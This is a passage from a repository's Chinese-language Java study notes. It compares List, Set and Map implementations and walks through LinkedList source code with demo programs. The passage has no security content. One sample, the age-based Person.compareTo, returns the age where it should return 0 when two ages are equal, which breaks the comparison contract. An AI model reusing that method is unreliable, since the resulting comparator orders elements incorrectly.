的工作原理及代码实现](#hashmap-的工作原理及代码实现)\n1. [ConcurrentHashMap 的工作原理及代码实现](#concurrenthashmap-的工作原理及代码实现)\n1. [集合框架底层数据结构总结](#集合框架底层数据结构总结)\n\t1. [- Collection](#--collection)\n\t\t1. [1. List](#1-list)\n\t\t1. [2. Set](#2-set)\n\t1. [- Map](#--map)\n1. [集合的选用](#集合的选用)\n1. [集合的常用方法](#集合的常用方法)\n\n<!-- /MarkdownTOC -->\n\n\n## <font face=\"楷体\">List，Set,Map三者的区别及总结</font>\n- **List：对付顺序的好帮手**\n\n  List接口存储一组不唯一（可以有多个元素引用相同的对象），有序的对象\n- **Set:注重独一无二的性质**\n  \n  不允许重复的集合。不会有多个元素引用相同的对象。\n\n- **Map:用Key来搜索的专家**\n  \n  使用键值对存储。Map会维护与Key有关联的值。两个Key可以引用相同的对象，但Key不能重复，典型的Key是String类型，但也可以是任何对象。\n  \n\n## <font face=\"楷体\">Arraylist 与 LinkedList 区别</font>\nArraylist底层使用的是数组（存读数据效率高，插入删除特定位置效率低），LinkedList 底层使用的是双向链表数据结构（插入，删除效率特别高）（JDK1.6之前为循环链表，JDK1.7取消了循环。注意双向链表和双向循环链表的区别：）； 详细可阅读JDK1.7-LinkedList循环链表优化。学过数据结构这门课后我们就知道采用链表存储，插入，删除元素时间复杂度不受元素位置的影响，都是近似O（1）而数组为近似O（n），因此当数据特别多，而且经常需要插入删除元素时建议选用LinkedList.一般程序只用Arraylist就够用了，因为一般数据量都不会蛮大，Arraylist是使用最多的集合类。\n\n## <font face=\"楷体\">ArrayList 与 Vector 区别</font>\nVector类的所有方法都是同步的。可以由两个线程安全地访问一个Vector对象、但是一个线程访问Vector\n，代码要在同步操作上耗费大量的时间。Arraylist不是同步的，所以在不需要同步时建议使用Arraylist。\n\n## <font face=\"楷体\">HashMap 和 Hashtable 的区别</font>\n1. HashMap是非线程安全的，HashTable是线程安全的；HashTable内部的方法基本都经过synchronized修饰。\n\n2. 因为线程安全的问题，HashMap要比HashTable效率高一点，HashTable基本被淘汰。\n3. HashMap允许有null值的存在，而在HashTable中put进的键值只要有一个null，直接抛出NullPointerException。\n\nHashtable和HashMap有几个主要的不同：线程安全以及速度。仅在你需要完全的线程安全的时候使用Hashtable，而如果你使用Java5或以上的话，请使用ConcurrentHashMap吧\n\n## <font face=\"楷体\">HashSet 和 HashMap 区别</font>\n![HashSet 和 HashMap 区别](https://user-gold-cdn.xitu.io/2018/3/2/161e717d734f3b23?w=896&h=363&f=jpeg&s=205536)\n\n## <font face=\"楷体\">HashMap 和 ConcurrentHashMap 的区别</font>\n[HashMap与ConcurrentHashMap的区别](https://blog.csdn.net/xuefeng0707/article/details/40834595)\n\n1. ConcurrentHashMap对整个桶数组进行了分割分段(Segment)，然后在每一个分段上都用lock锁进行保护，相对于HashTable的synchronized锁的粒度更精细了一些，并发性能更好，而HashMap没有锁机制，不是线程安全的。（JDK1.8之后ConcurrentHashMap启用了一种全新的方式实现,利用CAS算法。）\n2. HashMap的键值对允许有null，但是ConCurrentHashMap都不允许。\n\n## <font face=\"楷体\">HashSet如何检查重复</font>\n当你把对象加入HashSet时，HashSet会先计算对象的hashcode值来判断对象加入的位置，同时也会与其他加入的对象的hashcode值作比较，如果没有相符的hashcode，HashSet会假设对象没有重复出现。但是如果发现有相同hashcode值的对象，这时会调用equals（）方法来检查hashcode相等的对象是否真的相同。如果两者相同，HashSet就不会让加入操作成功。（摘自我的Java启蒙书《Head fist java》第二版）\n\n**hashCode（）与equals（）的相关规定：**\n1. 如果两个对象相等，则hashcode一定也是相同的\n2. 两个对象相等,对两个equals方法返回true\n3. 两个对象有相同的hashcode值，它们也不一定是相等的\n4. 综上，equals方法被覆盖过，则hashCode方法也必须被覆盖\n5. hashCode()的默认行为是对堆上的对象产生独特值。如果没有重写hashCode()，则该class的两个对象无论如何都不会相等（即使这两个对象指向相同的数据）。\n\n**==与equals的区别**\n\n1. ==是判断两个变量或实例是不是指向同一个内存空间    equals是判断两个变量或实例所指向的内存空间的值是不是相同\n2. ==是指对内存地址进行比较    equals()是对字符串的内容进行比较\n3. ==指引用是否相同    equals()指的是值是否相同\n\n## <font face=\"楷体\">comparable 和 comparator的区别</font>\n- comparable接口实际上是出自java.lang包 它有一个 compareTo(Object obj)方法用来排序\n- comparator接口实际上是出自 java.util 包它有一个compare(Object obj1, Object obj2)方法用来排序\n\n一般我们需要对一个集合使用自定义排序时，我们就要重写compareTo方法或compare方法，当我们需要对某一个集合实现两种排序方式，比如一个song对象中的歌名和歌手名分别采用一种排序方法的话，我们可以重写compareTo方法和使用自制的Comparator方法或者以两个Comparator来实现歌名排序和歌星名排序，第二种代表我们只能使用两个参数版的Collections.sort().\n\n### <font face=\"楷体\">Comparator定制排序<font face=\"楷体\">\n```java\nimport java.util.ArrayList;\nimport java.util.Collections;\nimport java.util.Comparator;\n\n/**\n * TODO Collections类方法测试之排序\n * @author 寇爽\n * @date 2017年11月20日\n * @version 1.8\n */\npublic class CollectionsSort {\n\n\tpublic static void main(String[] args) {\n\n\t\tArrayList<Integer> arrayList = new ArrayList<Integer>();\n\t\tarrayList.add(-1);\n\t\tarrayList.add(3);\n\t\tarrayList.add(3);\n\t\tarrayList.add(-5);\n\t\tarrayList.add(7);\n\t\tarrayList.add(4);\n\t\tarrayList.add(-9);\n\t\tarrayList.add(-7);\n\t\tSystem.out.println(\"原始数组:\");\n\t\tSystem.out.println(arrayList);\n\t\t// void reverse(List list)：反转\n\t\tCollections.reverse(arrayList);\n\t\tSystem.out.println(\"Collections.reverse(arrayList):\");\n\t\tSystem.out.println(arrayList);\n/*\t\t\n\t\t * void rotate(List list, int distance),旋转。\n\t\t * 当distance为正数时，将list后distance个元素整体移到前面。当distance为负数时，将\n\t\t * list的前distance个元素整体移到后面。\n\t\t \n\t\tCollections.rotate(arrayList, 4);\n\t\tSystem.out.println(\"Collections.rotate(arrayList, 4):\");\n\t\tSystem.out.println(arrayList);*/\n\t\t\n\t\t// void sort(List list),按自然排序的升序排序\n\t\tCollections.sort(arrayList);\n\t\tSystem.out.println(\"Collections.sort(arrayList):\");\n\t\tSystem.out.println(arrayList);\n\n\t\t// void shuffle(List list),随机排序\n\t\tCollections.shuffle(arrayList);\n\t\tSystem.out.println(\"Collections.shuffle(arrayList):\");\n\t\tSystem.out.println(arrayList);\n\n\t\t// 定制排序的用法\n\t\tCollections.sort(arrayList, new Comparator<Integer>() {\n\n\t\t\t@Override\n\t\t\tpublic int compare(Integer o1, Integer o2) {\n\t\t\t\treturn o2.compareTo(o1);\n\t\t\t}\n\t\t});\n\t\tSystem.out.println(\"定制排序后：\");\n\t\tSystem.out.println(arrayList);\n\t}\n\n}\n\n```\n### <font face=\"楷体\">重写compareTo方法实现按年龄来排序</font>\n```java\npackage map;\n\nimport java.util.Set;\nimport java.util.TreeMap;\n\npublic class TreeMap2 {\n\n\tpublic static void main(String[] args) {\n\t\t// TODO Auto-generated method stub\n\t\tTreeMap<Person, String> pdata = new TreeMap<Person, String>();\n\t\tpdata.put(new Person(\"张三\", 30), \"zhangsan\");\n\t\tpdata.put(new Person(\"李四\", 20), \"lisi\");\n\t\tpdata.put(new Person(\"王五\", 10), \"wangwu\");\n\t\tpdata.put(new Person(\"小红\", 5), \"xiaohong\");\n\t\t// 得到key的值的同时得到key所对应的值\n\t\tSet<Person> keys = pdata.keySet();\n\t\tfor (Person key : keys) {\n\t\t\tSystem.out.println(key.getAge() + \"-\" + key.getName());\n\n\t\t}\n\t}\n}\n\n// person对象没有实现Comparable接口，所以必须实现，这样才不会出错，才可以使treemap中的数据按顺序排列\n// 前面一个例子的String类已经默认实现了Comparable接口，详细可以查看String类的API文档，另外其他\n// 像Integer类等都已经实现了Comparable接口，所以不需要另外实现了\n\nclass Person implements Comparable<Person> {\n\tprivate String name;\n\tprivate int age;\n\n\tpublic Person(String name, int age) {\n\t\tsuper();\n\t\tthis.name = name;\n\t\tthis.age = age;\n\t}\n\n\tpublic String getName() {\n\t\treturn name;\n\t}\n\n\tpublic void setName(String name) {\n\t\tthis.name = name;\n\t}\n\n\tpublic int getAge() {\n\t\treturn age;\n\t}\n\n\tpublic void setAge(int age) {\n\t\tthis.age = age;\n\t}\n\n\t/**\n\t * TODO重写compareTo方法实现按年龄来排序\n\t */\n\t@Override\n\tpublic int compareTo(Person o) {\n\t\t// TODO Auto-generated method stub\n\t\tif (this.age > o.getAge()) {\n\t\t\treturn 1;\n\t\t} else if (this.age < o.getAge()) {\n\t\t\treturn -1;\n\t\t}\n\t\treturn age;\n\t}\n}\n```\n\n## <font face=\"楷体\">如何对Object的list排序</font>\n-   对objects数组进行排序，我们可以用Arrays.sort()方法\n-   对objects的集合进行排序，需要使用Collections.sort()方法\n  \n\n## <font face=\"楷体\">如何实现数组与List的相互转换</font>\nList转数组：toArray(arraylist.size()方法；数组转List:Arrays的asList(a)方法\n```java\nList<String> arrayList = new ArrayList<String>();\n\t\tarrayList.add(\"s\");\n\t\tarrayList.add(\"e\");\n\t\tarrayList.add(\"n\");\n\t\t/**\n\t\t * ArrayList转数组\n\t\t */\n\t\tint size=arrayList.size();\n\t\tString[] a = arrayList.toArray(new String[size]);\n\t\t//输出第二个元素\n\t\tSystem.out.println(a[1]);//结果：e\n\t\t//输出整个数组\n\t\tSystem.out.println(Arrays.toString(a));//结果：[s, e, n]\n\t\t/**\n\t\t * 数组转list\n\t\t */\n\t\tList<String> list=Arrays.asList(a);\n\t\t/**\n\t\t * list转Arraylist\n\t\t */\n\t\tList<String> arrayList2 = new ArrayList<String>();\n\t\tarrayList2.addAll(list);\n\t\tSystem.out.println(list);\n```\n## <font face=\"楷体\">如何求ArrayList集合的交集 并集 差集 去重复并集</font>\n需要用到List接口中定义的几个方法：\n\n- addAll(Collection<? extends E> c) :按指定集合的Iterator返回的顺序将指定集合中的所有元素追加到此列表的末尾\n实例代码：\n- retainAll(Collection<?> c): 仅保留此列表中包含在指定集合中的元素。 \n- removeAll(Collection<?> c) :从此列表中删除指定集合中包含的所有元素。 \n```java\npackage list;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\n/**\n *TODO 两个集合之间求交集 并集 差集 去重复并集\n * @author 寇爽\n * @date 2017年11月21日\n * @version 1.8\n */\npublic class MethodDemo {\n\n\tpublic static void main(String[] args) {\n\t\t// TODO Auto-generated method stub\n\t\tList<Integer> list1 = new ArrayList<Integer>();\n\t\tlist1.add(1);\n\t\tlist1.add(2);\n\t\tlist1.add(3);\n\t\tlist1.add(4);\n\n\t\tList<Integer> list2 = new ArrayList<Integer>();\n\t\tlist2.add(2);\n\t\tlist2.add(3);\n\t\tlist2.add(4);\n\t\tlist2.add(5);\n\t\t// 并集\n\t\t// list1.addAll(list2);\n\t\t// 交集\n\t\t//list1.retainAll(list2);\n\t\t// 差集\n\t\t// list1.removeAll(list2);\n\t\t// 无重复并集\n\t\tlist2.removeAll(list1);\n\t\tlist1.addAll(list2);\n\t\tfor (Integer i : list1) {\n\t\t\tSystem.out.println(i);\n\t\t}\n\t}\n\n}\n\n```\n\n## <font face=\"楷体\">HashMap 的工作原理及代码实现</font>\n\n[集合框架源码学习之HashMap(JDK1.8)](https://juejin.im/post/5ab0568b5188255580020e56)\n\n## <font face=\"楷体\">ConcurrentHashMap 的工作原理及代码实现</font>\n\n[ConcurrentHashMap实现原理及源码分析](http://www.cnblogs.com/chengxiao/p/6842045.html)\n\n\n## <font face=\"楷体\">集合框架底层数据结构总结</font>\n### - Collection\n  \n####  1. List\n   - Arraylist：数组（查询快,增删慢   线程不安全,效率高  ）\n   - Vector：数组（查询快,增删慢 线程安全,效率低  ）\n   - LinkedList：链表（查询慢,增删快  线程不安全,效率高  ）\n\n####  2. Set\n  - HashSet（无序，唯一）:哈希表或者叫散列集(hash table)\n  - LinkedHashSet：链表和哈希表组成 。 由链表保证元素的排序 ， 由哈希表证元素的唯一性  \n  - TreeSet（有序，唯一）：红黑树(自平衡的排序二叉树。)\n\n### - Map \n -  HashMap：基于哈希表的Map接口实现（哈希表对键进行散列，Map结构即映射表存放键值对）\n -  LinkedHashMap:HashMap  的基础上加上了链表数据结构\n -  HashTable:哈希表\n -  TreeMap:红黑树（自平衡的排序二叉树）\n \n\n## <font face=\"楷体\">集合的选用</font>\n主要根据集合的特点来选用，比如我们需要根据键值获取到元素值时就选用Map接口下的集合，需要排序时选择TreeMap,不需要排序时就选择HashMap,需要保证线程安全就选用ConcurrentHashMap.当我们只需要存放元素值时，就选择实现Collection接口的集合，需要保证元素唯一时选择实现Set接口的集合比如TreeSet或HashSet，不需要就选择实现List接口的比如ArrayList或LinkedList，然后再根据实现这些接口的集合的特点来选用。\n\n2018/3/11更新\n## <font face=\"楷体\">集合的常用方法</font>\n今天下午无意看见一道某大厂的面试题，面试题的内容就是问你某一个集合常见的方法有哪些。虽然平时也经常见到这些集合，但是猛一下让我想某一个集合的常用的方法难免会有遗漏或者与其他集合搞混，所以建议大家还是照着API文档把常见的那几个集合的常用方法看一看。\n\n会持续更新。。。\n\n**参考书籍：**\n\n《Head first java 》第二版 推荐阅读真心不错 （适合基础较差的）\n\n 《Java核心技术卷1》推荐阅读真心不错 （适合基础较好的）\n \n 《算法》第四版 （适合想对数据结构的Java实现感兴趣的）\n \n"
  },
  {
    "path": "docs/java/LinkedList.md",
    "content": "\n<!-- MarkdownTOC -->\n\n- [简介](#简介)\n- [内部结构分析](#内部结构分析)\n- [LinkedList源码分析](#linkedlist源码分析)\n    - [构造方法](#构造方法)\n    - [添加（add）方法](#add方法)\n    - [根据位置取数据的方法](#根据位置取数据的方法)\n    - [根据对象得到索引的方法](#根据对象得到索引的方法)\n    - [检查链表是否包含某对象的方法：](#检查链表是否包含某对象的方法：)\n    - [删除（remove/pop）方法](#删除方法)\n- [LinkedList类常用方法测试：](#linkedlist类常用方法测试)\n\n<!-- /MarkdownTOC -->\n\n## <font face=\"楷体\" id=\"1\">简介</font>\n<font color=\"red\">LinkedList</font>是一个实现了<font color=\"red\">List接口</font>和<font color=\"red\">Deque接口</font>的<font color=\"red\">双端链表</font>。 \nLinkedList底层的链表结构使它<font color=\"red\">支持高效的插入和删除操作</font>，另外它实现了Deque接口，使得LinkedList类也具有队列的特性;\nLinkedList<font color=\"red\">不是线程安全的</font>，如果想使LinkedList变成线程安全的，可以调用静态类<font color=\"red\">Collections类</font>中的<font color=\"red\">synchronizedList</font>方法： \n```java\nList list=Collections.synchronizedList(new LinkedList(...));\n```\n## <font face=\"楷体\" id=\"2\">内部结构分析</font>\n**如下图所示：**\n![LinkedList内部结构](https://user-gold-cdn.xitu.io/2018/3/19/1623e363fe0450b0?w=600&h=481&f=jpeg&s=18502)\n看完了图之后，我们再看LinkedList类中的一个<font color=\"red\">**内部私有类Node**</font>就很好理解了：\n```java\nprivate static class Node<E> {\n        E item;//节点值\n        Node<E> next;//后继节点\n        Node<E> prev;//前驱节点\n\n        Node(Node<E> prev, E element, Node<E> next) {\n            this.item = element;\n            this.next = next;\n            this.prev = prev;\n        }\n    }\n```\n这个类就代表双端链表的节点Node。这个类有三个属性，分别是前驱节点，本节点的值，后继结点。\n\n## <font face=\"楷体\" id=\"3\">LinkedList源码分析</font>\n### <font face=\"楷体\" id=\"3.1\">构造方法</font>\n**空构造方法：**\n```java\n    public LinkedList() {\n    }\n```\n**用已有的集合创建链表的构造方法：**\n```java\n    public LinkedList(Collection<? extends E> c) {\n        this();\n        addAll(c);\n    }\n```\n### <font face=\"楷体\" id=\"3.2\">add方法</font>\n**add(E e)** 方法：将元素添加到链表尾部\n```java\npublic boolean add(E e) {\n        linkLast(e);//这里就只调用了这一个方法\n        return true;\n    }\n```\n\n```java\n   /**\n     * 链接使e作为最后一个元素。\n     */\n    void linkLast(E e) {\n        final Node<E> l = last;\n        final Node<E> newNode = new Node<>(l, e, null);\n        last = newNode;//新建节点\n        if (l == null)\n            first = newNode;\n        else\n            l.next = newNode;//指向后继元素也就是指向下一个元素\n        size++;\n        modCount++;\n    }\n```\n**add(int index,E e)**：在指定位置添加元素\n```java\npublic void add(int index, E element) {\n        checkPositionIndex(index); //检查索引是否处于[0-size]之间\n\n        if (index == size)//添加在链表尾部\n            linkLast(element);\n        else//添加在链表中间\n            linkBefore(element, node(index));\n    }\n```\n<font color=\"red\">linkBefore方法</font>需要给定两个参数，一个<font color=\"red\">插入节点的值</font>，一个<font color=\"red\">指定的node</font>，所以我们又调用了<font color=\"red\">Node(index)去找到index对应的node</font>\n\n**addAll(Collection  c )：将集合插入到链表尾部**\n\n```java\npublic boolean addAll(Collection<? extends E> c) {\n        return addAll(size, c);\n    }\n```\n**addAll(int index, Collection c)：** 将集合从指定位置开始插入\n```java\npublic boolean addAll(int index, Collection<? extends E> c) {\n        //1:检查index范围是否在size之内\n        checkPositionIndex(index);\n\n        //2:toArray()方法把集合的数据存到对象数组中\n        Object[] a = c.toArray();\n        int numNew = a.length;\n        if (numNew == 0)\n            return false;\n\n        //3：得到插入位置的前驱节点和后继节点\n        Node<E> pred, succ;\n        //如果插入位置为尾部，前驱节点为last，后继节点为null\n        if (index == size) {\n            succ = null;\n            pred = last;\n        }\n        //否则，调用node()方法得到后继节点，再得到前驱节点\n        else {\n            succ = node(index);\n            pred = succ.prev;\n        }\n\n        // 4：遍历数据将数据插入\n        for (Object o : a) {\n            @SuppressWarnings(\"unchecked\") E e = (E) o;\n            //创建新节点\n            Node<E> newNode = new Node<>(pred, e, null);\n            //如果插入位置在链表头部\n            if (pred == null)\n                first = newNode;\n            else\n                pred.next = newNode;\n            pred = newNode;\n        }\n\n        //如果插入位置在尾部，重置last节点\n        if (succ == null) {\n            last = pred;\n        }\n        //否则，将插入的链表与先前链表连接起来\n        else {\n            pred.next = succ;\n            succ.prev = pred;\n        }\n\n        size += numNew;\n        modCount++;\n        return true;\n    }    \n```\n上面可以看出addAll方法通常包括下面四个步骤：\n1. 检查index范围是否在size之内\n2. toArray()方法把集合的数据存到对象数组中\n3. 得到插入位置的前驱和后继节点\n4. 遍历数据，将数据插入到指定位置\n\n**addFirst(E e)：** 将元素添加到链表头部\n```java\n public void addFirst(E e) {\n        linkFirst(e);\n    }\n```\n```java\nprivate void linkFirst(E e) {\n        final Node<E> f = first;\n        final Node<E> newNode = new Node<>(null, e, f);//新建节点，以头节点为后继节点\n        first = newNode;\n        //如果链表为空，last节点也指向该节点\n        if (f == null)\n            last = newNode;\n        //否则，将头节点的前驱指针指向新节点，也就是指向前一个元素\n        else\n            f.prev = newNode;\n        size++;\n        modCount++;\n    }\n```\n**addLast(E e)：** 将元素添加到链表尾部，与 **add(E e)** 方法一样\n```java\npublic void addLast(E e) {\n        linkLast(e);\n    }\n```\n### <font face=\"楷体\" id=\"3.3\">根据位置取数据的方法</font>\n**get(int index)：** 根据指定索引返回数据\n```java\npublic E get(int index) {\n        //检查index范围是否在size之内\n        checkElementIndex(index);\n        //调用Node(index)去找到index对应的node然后返回它的值\n        return node(index).item;\n    }\n```\n**获取头节点（index=0）数据方法:**\n```java\npublic E getFirst() {\n        final Node<E> f = first;\n        if (f == null)\n            throw new NoSuchElementException();\n        return f.item;\n    }\npublic E element() {\n        return getFirst();\n    }\npublic E peek() {\n        final Node<E> f = first;\n        return (f == null) ? null : f.item;\n    }\n\npublic E peekFirst() {\n        final Node<E> f = first;\n        return (f == null) ? null : f.item;\n     }\n```\n**区别：**\ngetFirst(),element(),peek(),peekFirst()\n这四个获取头结点方法的区别在于对链表为空时的处理，是抛出异常还是返回null，其中**getFirst()** 和**element()** 方法将会在链表为空时，抛出异常\n\nelement()方法的内部就是使用getFirst()实现的。它们会在链表为空时，抛出NoSuchElementException  \n**获取尾节点（index=-1）数据方法:**\n```java\n public E getLast() {\n        final Node<E> l = last;\n        if (l == null)\n            throw new NoSuchElementException();\n        return l.item;\n    }\n public E peekLast() {\n        final Node<E> l = last;\n        return (l == null) ? null : l.item;\n    }\n```\n**两者区别：**\n**getLast()** 方法在链表为空时，会抛出**NoSuchElementException**，而**peekLast()** 则不会，只是会返回 **null**。\n### <font face=\"楷体\" id=\"3.4\">根据对象得到索引的方法</font>\n**int indexOf(Object o)：** 从头遍历找\n```java\npublic int indexOf(Object o) {\n        int index = 0;\n        if (o == null) {\n            //从头遍历\n            for (Node<E> x = first; x != null; x = x.next) {\n                if (x.item == null)\n                    return index;\n                index++;\n            }\n        } else {\n            //从头遍历\n            for (Node<E> x = first; x != null; x = x.next) {\n                if (o.equals(x.item))\n                    return index;\n                index++;\n            }\n        }\n        return -1;\n    }\n```\n**int lastIndexOf(Object o)：** 从尾遍历找\n```java\npublic int lastIndexOf(Object o) {\n        int index = size;\n        if (o == null) {\n            //从尾遍历\n            for (Node<E> x = last; x != null; x = x.prev) {\n                index--;\n                if (x.item == null)\n                    return index;\n            }\n        } else {\n            //从尾遍历\n            for (Node<E> x = last; x != null; x = x.prev) {\n                index--;\n                if (o.equals(x.item))\n                    return index;\n            }\n        }\n        return -1;\n    }\n```\n### <font face=\"楷体\" id=\"3.5\">检查链表是否包含某对象的方法：</font>\n**contains(Object o)：** 检查对象o是否存在于链表中\n```java\n public boolean contains(Object o) {\n        return indexOf(o) != -1;\n    }\n```\n### <font face=\"楷体\" id=\"3.6\">删除方法</font>\n**remove()** ,**removeFirst(),pop():** 删除头节点\n```\npublic E pop() {\n        return removeFirst();\n    }\npublic E remove() {\n        return removeFirst();\n    }\npublic E removeFirst() {\n        final Node<E> f = first;\n        if (f == null)\n            throw new NoSuchElementException();\n        return unlinkFirst(f);\n    }\n```\n**removeLast(),pollLast():** 删除尾节点\n```java\npublic E removeLast() {\n        final Node<E> l = last;\n        if (l == null)\n            throw new NoSuchElementException();\n        return unlinkLast(l);\n    }\npublic E pollLast() {\n        final Node<E> l = last;\n        return (l == null) ? null : unlinkLast(l);\n    }\n```\n**区别：** removeLast()在链表为空时将抛出NoSuchElementException，而pollLast()方法返回null。\n\n**remove(Object o):** 删除指定元素\n```java\npublic boolean remove(Object o) {\n        //如果删除对象为null\n        if (o == null) {\n            //从头开始遍历\n            for (Node<E> x = first; x != null; x = x.next) {\n                //找到元素\n                if (x.item == null) {\n                   //从链表中移除找到的元素\n                    unlink(x);\n                    return true;\n                }\n            }\n        } else {\n            //从头开始遍历\n            for (Node<E> x = first; x != null; x = x.next) {\n                //找到元素\n                if (o.equals(x.item)) {\n                    //从链表中移除找到的元素\n                    unlink(x);\n                    return true;\n                }\n            }\n        }\n        return false;\n    }\n```\n当删除指定对象时，只需调用remove(Object o)即可，不过该方法一次只会删除一个匹配的对象，如果删除了匹配对象，返回true，否则false。\n\nunlink(Node<E> x) 方法：\n```java\nE unlink(Node<E> x) {\n        // assert x != null;\n        final E element = x.item;\n        final Node<E> next = x.next;//得到后继节点\n        final Node<E> prev = x.prev;//得到前驱节点\n\n        //删除前驱指针\n        if (prev == null) {\n            first = next;//如果删除的节点是头节点,令头节点指向该节点的后继节点\n        } else {\n            prev.next = next;//将前驱节点的后继节点指向后继节点\n            x.prev = null;\n        }\n\n        //删除后继指针\n        if (next == null) {\n            last = prev;//如果删除的节点是尾节点,令尾节点指向该节点的前驱节点\n        } else {\n            next.prev = prev;\n            x.next = null;\n        }\n\n        x.item = null;\n        size--;\n        modCount++;\n        return element;\n    }\n```\n**remove(int index)**：删除指定位置的元素\n```java\npublic E remove(int index) {\n        //检查index范围\n        checkElementIndex(index);\n        //将节点删除\n        return unlink(node(index));\n    }\n```\n## <font face=\"楷体\" id=\"4\">LinkedList类常用方法测试</font>\n\n```java\npackage list;\n\nimport java.util.Iterator;\nimport java.util.LinkedList;\n\npublic class LinkedListDemo {\n    public static void main(String[] srgs) {\n        //创建存放int类型的linkedList\n        LinkedList<Integer> linkedList = new LinkedList<>();\n        /************************** linkedList的基本操作 ************************/\n        linkedList.addFirst(0); // 添加元素到列表开头\n        linkedList.add(1); // 在列表结尾添加元素\n        linkedList.add(2, 2); // 在指定位置添加元素\n        linkedList.addLast(3); // 添加元素到列表结尾\n        \n        System.out.println(\"LinkedList（直接输出的）: \" + linkedList);\n\n        System.out.println(\"getFirst()获得第一个元素: \" + linkedList.getFirst()); // 返回此列表的第一个元素\n        System.out.println(\"getLast()获得第最后一个元素: \" + linkedList.getLast()); // 返回此列表的最后一个元素\n        System.out.println(\"removeFirst()删除第一个元素并返回: \" + linkedList.removeFirst()); // 移除并返回此列表的第一个元素\n        System.out.println(\"removeLast()删除最后一个元素并返回: \" + linkedList.removeLast()); // 移除并返回此列表的最后一个元素\n        System.out.println(\"After remove:\" + linkedList);\n        System.out.println(\"contains()方法判断列表是否包含1这个元素:\" + linkedList.contains(1)); // 判断此列表包含指定元素，如果是，则返回true\n        System.out.println(\"该linkedList的大小 : \" + linkedList.size()); // 返回此列表的元素个数\n\n        /************************** 位置访问操作 ************************/\n        System.out.println(\"-----------------------------------------\");\n        linkedList.set(1, 3); // 将此列表中指定位置的元素替换为指定的元素\n        System.out.println(\"After set(1, 3):\" + linkedList);\n        System.out.println(\"get(1)获得指定位置（这里为1）的元素: \" + linkedList.get(1)); // 返回此列表中指定位置处的元素\n\n        /************************** Search操作 ************************/\n        System.out.println(\"-----------------------------------------\");\n        linkedList.add(3);\n        System.out.println(\"indexOf(3): \" + linkedList.indexOf(3)); // 返回此列表中首次出现的指定元素的索引\n        System.out.println(\"lastIndexOf(3): \" + linkedList.lastIndexOf(3));// 返回此列表中最后出现的指定元素的索引\n\n        /************************** Queue操作 ************************/\n        System.out.println(\"-----------------------------------------\");\n        System.out.println(\"peek(): \" + linkedList.peek()); // 获取但不移除此列表的头\n        System.out.println(\"element(): \" + linkedList.element()); // 获取但不移除此列表的头\n        linkedList.poll(); // 获取并移除此列表的头\n        System.out.println(\"After poll():\" + linkedList);\n        linkedList.remove();\n        System.out.println(\"After remove():\" + linkedList); // 获取并移除此列表的头\n        linkedList.offer(4);\n        System.out.println(\"After offer(4):\" + linkedList); // 将指定元素添加到此列表的末尾\n\n        /************************** Deque操作 ************************/\n        System.out.println(\"-----------------------------------------\");\n        linkedList.offerFirst(2); // 在此列表的开头插入指定的元素\n        System.out.println(\"After offerFirst(2):\" + linkedList);\n        linkedList.offerLast(5); // 在此列表末尾插入指定的元素\n        System.out.println(\"After offerLast(5):\" + linkedList);\n        System.out.println(\"peekFirst(): \" + linkedList.peekFirst()); // 获取但不移除此列表的第一个元素\n        System.out.println(\"peekLast(): \" + linkedList.peekLast()); // 获取但不移除此列表的第一个元素\n        linkedList.pollFirst(); // 获取并移除此列表的第一个元素\n        System.out.println(\"After pollFirst():\" + linkedList);\n        linkedList.pollLast(); // 获取并移除此列表的最后一个元素\n        System.out.println(\"After pollLast():\" + linkedList);\n        linkedList.push(2); // 将元素推入此列表所表示的堆栈（插入到列表的头）\n        System.out.println(\"After push(2):\" + linkedList);\n        linkedList.pop(); // 从此列表所表示的堆栈处弹出一个元素（获取并移除列表第一个元素）\n        System.out.println(\"After pop():\" + linkedList);\n        linkedList.add(3);\n        linkedList.removeFirstOccurrence(3); // 从此列表中移除第一次出现的指定元素（从头部到尾部遍历列表）\n        System.out.println(\"After removeFirstOccurrence(3):\" + linkedList);\n        linkedList.removeLastOccurrence(3); // 从此列表中移除最后一次出现的指定元素（从头部到尾部遍历列表）\n        System.out.println(\"After removeFirstOccurrence(3):\" + linkedList);\n\n        /************************** 遍历操作 ************************/\n        System.out.println(\"-----------------------------------------\");\n        linkedList.clear();\n        for (int i = 0; i < 100000; i++) {\n            linkedList.add(i);\n        }\n        // 迭代器遍历\n        long start = System.currentTimeMillis();\n        Iterator<Integer> iterator = linkedList.iterator();\n        while (iterator.hasNext()) {\n            iterator.next();\n        }\n        long end = System.currentTimeMillis();\n        System.out.println(\"Iterator：\" + (end - start) + \" ms\");\n\n        // 顺序遍历(随机遍历)\n        start = System.currentTimeMillis();\n        for (int i = 0; i < linkedList.size(); i++) {\n            linkedList.get(i);\n        }\n        end = System.currentTimeMillis();\n        System.out.println(\"for：\" + (end - start) + \" ms\");\n\n        // 另一种for循环遍历\n        start = System.currentTimeMillis();\n        for (Integer i : linkedList)\n            ;\n        end = System.currentTimeMillis();\n        System.out.println(\"for2：\" + (end - start) + \" ms\");\n\n        // 通过pollFirst()或pollLast()来遍历LinkedList\n        LinkedList<Integer> temp1 = new LinkedList<>();\n        temp1.addAll(linkedList);\n        start = System.currentTimeMillis();\n        while (temp1.size() != 0) {\n            temp1.pollFirst();\n        }\n        end = System.currentTimeMillis();\n        System.out.println(\"pollFirst()或pollLast()：\" + (end - start) + \" ms\");\n\n        // 通过removeFirst()或removeLast()来遍历LinkedList\n        LinkedList<Integer> temp2 = new LinkedList<>();\n        temp2.addAll(linkedList);\n        start = System.currentTimeMillis();\n        while (temp2.size() != 0) {\n            temp2.removeFirst();\n        }\n        end = System.currentTimeMillis();\n        System.out.println(\"removeFirst()或removeLast()：\" + (end - start) + \" ms\");\n    }\n}\n```\n"
  },
  {
    "path": "docs/java/Multithread/AQS.md",
